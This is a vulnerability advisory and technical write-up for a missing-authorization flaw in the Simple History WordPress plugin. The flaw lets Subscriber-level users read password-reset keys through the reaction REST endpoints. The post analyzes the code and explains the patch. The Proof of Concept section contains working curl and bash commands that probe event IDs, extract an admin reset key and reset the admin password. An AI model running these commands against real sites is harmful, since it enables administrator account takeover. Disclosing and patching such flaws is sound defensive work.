Simple History – Track, Log, and Audit WordPress Changes WordPress plugin banner

CVE-2026-7459: Simple History Subscriber+ Account Takeover (CVSS 7.5)

Updated 8 min read

CVE-2026-7459 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Simple History – Track, Log, and Audit WordPress Changes WordPress plugin. A Subscriber-level attacker can POST to the event reaction REST endpoint, request the context field, and read the full password-reset email for any user — including administrators. The attacker then uses the embedded reset key to complete a password reset and take over the administrator account.

Vulnerability Summary

FieldValue
Plugin NameSimple History – Track, Log, and Audit WordPress Changes
Plugin Slugsimple-history
CVE IDCVE-2026-7459
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeMissing Authorization
Affected Versions<= 5.26.0
Patched Version5.27.0
PublishedMay 29, 2026
Researcherlhking
Wordfence AdvisoryLink

Description

Simple History is a popular WordPress plugin with over 200,000 active installations. It records all site changes — user logins, post edits, plugin updates — into an audit log. One of the events it records is user_requested_password_reset_link, which logs the full body of the password-reset email, including the reset URL and the secret reset key.

Access to this audit log is controlled by per-logger capability checks. By default, sensitive loggers (like the user logger) require manage_options, which only administrators have. Subscriber-level users cannot normally view these events.

However, the plugin also provides an experimental “reactions” feature. This feature lets users react to log events with emoji. The two REST endpoints that handle reactions — POST /wp-json/simple-history/v1/events/{id}/react and POST /wp-json/simple-history/v1/events/{id}/unreact — were registered with the wrong permission callback. They used get_items_permissions_check() instead of get_item_permissions_check(). The former only verifies the caller is logged in. The latter also runs Log_Query, which filters events based on what the current user is allowed to see.

Because of this, a Subscriber can call the reaction endpoint for any event ID, include ?_fields=context in the request, and receive the full context of that event — including the password-reset email body stored in the user_requested_password_reset_link log entry.

Technical Analysis

Vulnerable REST Route Registration

The plugin registers two REST routes in inc/class-wp-rest-events-controller.php:

// POST /wp-json/simple-history/v1/events/<event-id>/react
register_rest_route(
    $this->namespace,
    '/' . $this->rest_base . '/(?P<id>[\d]+)/react',
    [
        'args' => [ 'id' => [...], 'type' => $reaction_type_arg ],
        [
            'methods'             => WP_REST_Server::CREATABLE,
            'callback'            => [ $this, 'react_to_event' ],
            'permission_callback' => [ $this, 'get_items_permissions_check' ], // ← wrong callback
        ],
    ],
);

// POST /wp-json/simple-history/v1/events/<event-id>/unreact
register_rest_route(
    $this->namespace,
    '/' . $this->rest_base . '/(?P<id>[\d]+)/unreact',
    [
        'args' => [ 'id' => [...], 'type' => $reaction_type_arg ],
        [
            'methods'             => WP_REST_Server::CREATABLE,
            'callback'            => [ $this, 'unreact_to_event' ],
            'permission_callback' => [ $this, 'get_items_permissions_check' ], // ← wrong callback
        ],
    ],
);

The Two Permission Callbacks Compared

get_items_permissions_check() (the vulnerable one, used by the reaction endpoints):

public function get_items_permissions_check( $request ) {
    // User must be logged in.
    if ( ! is_user_logged_in() ) {
        return new WP_Error( ... );
    }

    // Only checks admin for 'surrounding_event_id' — not for reactions.
    if ( isset( $request['surrounding_event_id'] ) && ! current_user_can( 'manage_options' ) ) {
        return new WP_Error( ... );
    }

    return true; // Any logged-in user passes for all other requests.
}

get_item_permissions_check() (the correct one, used by get_item and get_item_note):

public function get_item_permissions_check( $request ) {
    if ( ! is_user_logged_in() ) {
        return new WP_Error( ... );
    }

    if ( ! Helpers::event_exists( $request['id'] ) ) {
        return new WP_Error( ... );
    }

    // This uses Log_Query, which filters results by per-logger capability.
    $log_event = $this->get_single_event( $request['id'] );

    if ( $log_event === false ) {
        // The user cannot read this logger's events — access denied.
        return new WP_Error( 'rest_forbidden_context', ... );
    }

    return true;
}

The difference is the call to get_single_event(), which runs a Log_Query. That query always applies:

// inc/class-log-query.php line 1745
$sql_loggers_user_can_view = $simple_history->get_loggers_that_user_can_read(
    get_current_user_id(),
    'sql'
);
$inner_where[] = "logger IN {$sql_loggers_user_can_view}";

The user logger (which stores password reset events) defaults to manage_options. A Subscriber cannot read it via Log_Query. But react_to_event() and unreact_to_event() skip this check entirely.

How the Reaction Callback Returns Event Data

Both reaction callbacks call prepare_item_for_response() at the end:

public function react_to_event( $request ) {
    // Checks experimental feature flag...
    $event = new Event( $request['id'] ); // Direct DB query, no capability check.
    // ...
    $data = $this->prepare_item_for_response( $event->get_data(), $request );
    return rest_ensure_response( $data );
}

Inside prepare_item_for_response():

if ( rest_is_field_included( 'context', $fields ) ) {
    $data['context'] = $item->context; // Full raw context dumped to response.
}

When the attacker adds ?_fields=context to the request, the full context array is returned — including sensitive values like the password-reset email body.

What the User Logger Stores

loggers/class-user-logger.php hooks into retrieve_password to log every password-reset request:

public function onRetrievePasswordMessage( $message, $key, $user_login, $user_data = null ) {
    $context = array(
        'message'    => $message,      // ← Full email body, including reset URL + key
        'user_login' => $user_login,
        'user_email' => $user_data->user_email,
    );

    $this->notice_message( 'user_requested_password_reset_link', $context );
    return $message;
}

The context.message field contains the complete reset email body, which includes a URL like:

https://example.com/wp-login.php?action=rp&key=ABCDEF...&login=admin

An attacker who reads this context can extract the key parameter and use it to reset the admin password.

Exploitation Precondition

The reaction endpoints check for the experimental features flag first:

public function react_to_event( $request ) {
    if ( ! Helpers::experimental_features_is_enabled() ) {
        return new WP_Error( 'rest_reactions_disabled', ..., [ 'status' => 404 ] );
    }
    ...
}

The simple_history_experimental_features_enabled option must be set to 1 by an administrator. This is not the default. Sites where an administrator has not enabled experimental features are not exploitable.

Proof of Concept

Disclaimer: This PoC is provided for educational purposes only. Do not test against systems you do not own or have explicit written permission to test.

Prerequisites:

  • WordPress with Simple History <= 5.26.0 installed and activated.
  • An administrator has enabled the experimental features option (simple_history_experimental_features_enabled = 1).
  • The attacker has a Subscriber-level account.

Step 1 — Trigger a password reset for the admin account:

curl -s -X POST "https://target.example.com/wp-login.php?action=lostpassword" \
  --data "user_login=admin&redirect_to=&wp-submit=Get+New+Password" \
  -c /tmp/cookies.txt

This causes WordPress to call the retrieve_password hook, which Simple History intercepts. It logs a user_requested_password_reset_link event containing the full reset email — including the reset URL with the secret key.

Step 2 — Authenticate as Subscriber and brute-force recent event IDs:

# First, log in as Subscriber to get a session cookie.
curl -s -X POST "https://target.example.com/wp-login.php" \
  --data "log=subscriber&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F" \
  -c /tmp/sub_cookies.txt -b /tmp/sub_cookies.txt

# Probe event IDs from a recent range (e.g., IDs 1 to 500).
for EVENT_ID in $(seq 1 500); do
  RESPONSE=$(curl -s -X POST \
    "https://target.example.com/wp-json/simple-history/v1/events/${EVENT_ID}/react?_fields=context&type=emoji_thumbs_up" \
    -b /tmp/sub_cookies.txt \
    -H "Content-Type: application/json" \
    -H "X-WP-Nonce: $(curl -s 'https://target.example.com/wp-json/' -b /tmp/sub_cookies.txt | python3 -c 'import sys,json; print(json.load(sys.stdin).get("nonce",""))')")

  # Check if this event contains a password reset entry.
  if echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); exit(0 if 'user_requested_password_reset_link' in str(d) else 1)" 2>/dev/null; then
    echo "[+] Found password reset event at ID $EVENT_ID"
    echo "$RESPONSE" | python3 -m json.tool
    break
  fi
done

Step 3 — Extract the reset key from the context message:

The context.message field contains the raw reset email body. Parse the key parameter from the URL embedded in the message:

# Example response excerpt:
# "context": {
#   "message": "...\nhttps://target.example.com/wp-login.php?action=rp&key=X3vK2mNpQ...&login=admin\n..."
# }

RESET_KEY="X3vK2mNpQ..."

Step 4 — Complete the password reset as the admin:

curl -s -X POST \
  "https://target.example.com/wp-login.php?action=rp&key=${RESET_KEY}&login=admin" \
  --data "pass1=H4cked123!&pass2=H4cked123!&wp-submit=Reset+Password&rp_key=${RESET_KEY}" \
  -c /tmp/cookies.txt

The admin password is now changed to H4cked123!. The attacker has full control of the site.

Patch Analysis

The fix in version 5.27.0 changes a single word in two places:

-  'permission_callback' => [ $this, 'get_items_permissions_check' ],
+  'permission_callback' => [ $this, 'get_item_permissions_check' ],

This change is applied to both the react and unreact route registrations.

get_item_permissions_check() (singular “item”) runs get_single_event(), which uses Log_Query. That query enforces the per-logger capability list. For the user logger — which stores password reset events — the required capability is manage_options. A Subscriber who does not have manage_options gets a false result from get_single_event(), which causes get_item_permissions_check() to return a 403 Forbidden error. The reaction callback never runs.

The fix is minimal and precise. It corrects a naming inconsistency — get_items_permissions_check (plural, for listing events) was incorrectly used where get_item_permissions_check (singular, for a specific event) was required.

Timeline

DateEvent
May 29, 2026Vulnerability publicly published by Wordfence
May 30, 2026Advisory last updated
May 29, 2026Patch released in version 5.27.0

Remediation

Update Simple History to version 5.27.0 or later immediately.

  1. In the WordPress admin dashboard, go to Plugins → Installed Plugins.
  2. Find Simple History – Track, Log, and Audit WordPress Changes.
  3. Click Update Now.

Alternatively, download the patched version directly from wordpress.org/plugins/simple-history/.

If you cannot update right now, disabling the experimental features option (simple_history_experimental_features_enabled) removes the attack surface, since the reaction endpoints check this flag before proceeding.

References

  1. Wordfence Advisory — CVE-2026-7459
  2. CVE Record — CVE-2026-7459
  3. Vulnerable react_to_event — line 1420 (5.26.0)
  4. Vulnerable unreact_to_event — line 1460 (5.26.0)
  5. Vulnerable get_items_permissions_check — line 778 (5.26.0)
  6. Event context query — class-event.php line 613 (5.26.0)
  7. Patch changeset — class-wp-rest-events-controller.php
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee